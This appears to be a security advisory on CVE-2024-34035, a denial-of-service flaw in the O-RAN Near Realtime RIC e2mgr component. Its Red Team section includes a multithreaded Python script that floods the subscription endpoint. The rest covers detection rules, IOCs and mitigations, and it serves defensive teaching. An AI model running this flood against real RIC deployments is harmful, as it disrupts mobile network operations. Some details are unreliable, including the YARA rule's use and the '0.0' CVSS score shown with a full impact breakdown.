CVE-2024-34035

Executive Summary

CVE-2024-34035 is a denial-of-service (DoS) vulnerability in the O-RAN Near Realtime RIC (RAN Intelligent Controller) H-Release. The flaw resides in the e2mgr component, which manages E2 interface subscriptions. An unauthenticated attacker can crash the e2mgr process by flooding it with a large volume of E2 Subscription Requests originating from a malicious xApp. This disrupts the RIC’s ability to manage RAN elements, potentially causing network instability or service degradation. No CVSS vector or patch is currently available, and no public exploit code has been released. The vulnerability is classified under MITRE ATT&CK tactic T1498 (Network Denial of Service) and CWE-400 (Uncontrolled Resource Consumption).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the O-RAN Near Realtime RIC software, which is typically deployed as a containerized microservice in 5G/Open RAN environments. The e2mgr component is part of the O-RAN SC (Software Community) release. No supply chain compromise has been reported, but the lack of a patch increases risk for operators using the H-Release.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network (likely)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to DoS impact and lack of patch)

Deep Dive & Mechanics

The e2mgr service in O-RAN Near Realtime RIC is responsible for handling E2 interface subscriptions from xApps (third-party applications). When an xApp sends an E2 Subscription Request, e2mgr processes it and establishes a subscription for RAN event reporting. The vulnerability arises because e2mgr does not enforce rate limiting or resource quotas on incoming subscription requests. An attacker can deploy a malicious xApp (or compromise an existing one) to send a high volume of subscription requests, exhausting memory, CPU, or file descriptors in e2mgr. This causes the process to crash, leading to a denial of service for all E2 subscriptions and disrupting RIC operations.

The attack does not require authentication because xApps can register with the RIC without strong verification in default configurations. The flood of requests triggers uncontrolled resource consumption (CWE-400), specifically a resource exhaustion DoS.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resides in the subscription request handler within e2mgr. A hypothetical fix would involve:

• Vulnerable: No rate limiting or request queuing.
• Patched: Implement a rate limiter (e.g., token bucket) per xApp source, enforce maximum concurrent subscriptions, and add input validation to reject malformed or excessive requests.

Example vulnerable pseudocode:

def handle_subscription_request(request):
    # No checks on request volume
    subscription = create_subscription(request)
    store_subscription(subscription)
    return OK

Example patched pseudocode:

def handle_subscription_request(request):
    if rate_limiter.exceeded(request.source):
        return TOO_MANY_REQUESTS
    if active_subscriptions[request.source] >= MAX_SUBSCRIPTIONS:
        return RESOURCE_EXHAUSTED
    subscription = create_subscription(request)
    store_subscription(subscription)
    rate_limiter.increment(request.source)
    return OK

Exploitation & Lab Setup

Red Team

To exploit CVE-2024-34035, an attacker must have access to the O-RAN Near Realtime RIC network and be able to register a malicious xApp. The following steps outline a proof-of-concept:

1. Setup: Deploy a test O-RAN Near Realtime RIC H-Release environment (e.g., using O-RAN SC docker-compose).
2. Register xApp: Use the RIC’s xApp registration API to register a malicious xApp.
3. Flood Subscription Requests: Write a script that sends thousands of E2 Subscription Requests per second to the e2mgr endpoint.

Example Python script (conceptual):

import requests
import threading

target = "http://<ric-ip>:<port>/e2mgr/v1/subscriptions"
headers = {"Content-Type": "application/json"}

def send_request():
    payload = {
        "xapp_id": "malicious_xapp",
        "ran_node_id": "gnb_001",
        "event_type": "measurement_report"
    }
    while True:
        try:
            requests.post(target, json=payload, headers=headers, timeout=1)
        except:
            pass

threads = []
for _ in range(100):
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

4. Observe Crash: Monitor e2mgr logs for crashes or process termination. The RIC will lose ability to manage subscriptions.

Blue Team

To detect and defend against this attack:

• Monitor Subscription Rate: Track the number of E2 Subscription Requests per second per xApp. Alert on spikes exceeding a threshold (e.g., >100 req/s).
• Resource Monitoring: Watch e2mgr CPU and memory usage. A sudden increase may indicate a flood.
• Network Traffic Analysis: Look for high volumes of POST requests to /e2mgr/v1/subscriptions from a single source.
• xApp Validation: Implement strict xApp registration checks and limit the number of subscriptions per xApp.
• Rate Limiting: Deploy a reverse proxy (e.g., Nginx) in front of e2mgr to enforce rate limits.

Indicators of Compromise (IOCs)

• Network: High volume of HTTP POST requests to /e2mgr/v1/subscriptions from a single IP or xApp ID.
• Logs: e2mgr logs showing repeated subscription creation failures or out-of-memory errors.
• Process: e2mgr process crash or restart events in system logs.
• Resource: CPU/memory usage of e2mgr exceeding 90% for extended periods.

Detection Engineering

YARA Rule

rule CVE_2024_34035_DoS_Flood {
    meta:
        description = "Detects flood of E2 Subscription Requests targeting e2mgr"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-34035"
    strings:
        $s1 = "e2mgr/v1/subscriptions" ascii wide nocase
        $s2 = "POST" ascii wide nocase
        $s3 = "xapp_id" ascii wide nocase
    condition:
        #s1 > 100 and #s2 > 100 and #s3 > 100
}

Sigma Rule

title: CVE-2024-34035 - O-RAN e2mgr Subscription Flood
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects a high volume of E2 Subscription Requests to e2mgr
author: Valters IT
logsource:
    category: web
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/e2mgr/v1/subscriptions'
    condition: selection | count() by src_ip > 100 in 60 seconds
falsepositives:
    - Legitimate high-load testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34035 - O-RAN e2mgr Subscription Flood"; flow:to_server; content:"POST"; http_method; content:"/e2mgr/v1/subscriptions"; http_uri; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable or restrict xApp registration to trusted entities only. Implement network segmentation to limit access to e2mgr.
• Short-term: Deploy a rate-limiting reverse proxy (e.g., Nginx with limit_req_zone) in front of e2mgr. Set maximum subscriptions per xApp via configuration.
• Long-term: Apply vendor patch when available. Upgrade to a patched release of O-RAN Near Realtime RIC. Monitor O-RAN SC for updates.
• Workaround: If patching is not possible, consider using a Web Application Firewall (WAF) to filter excessive requests.

Valters IT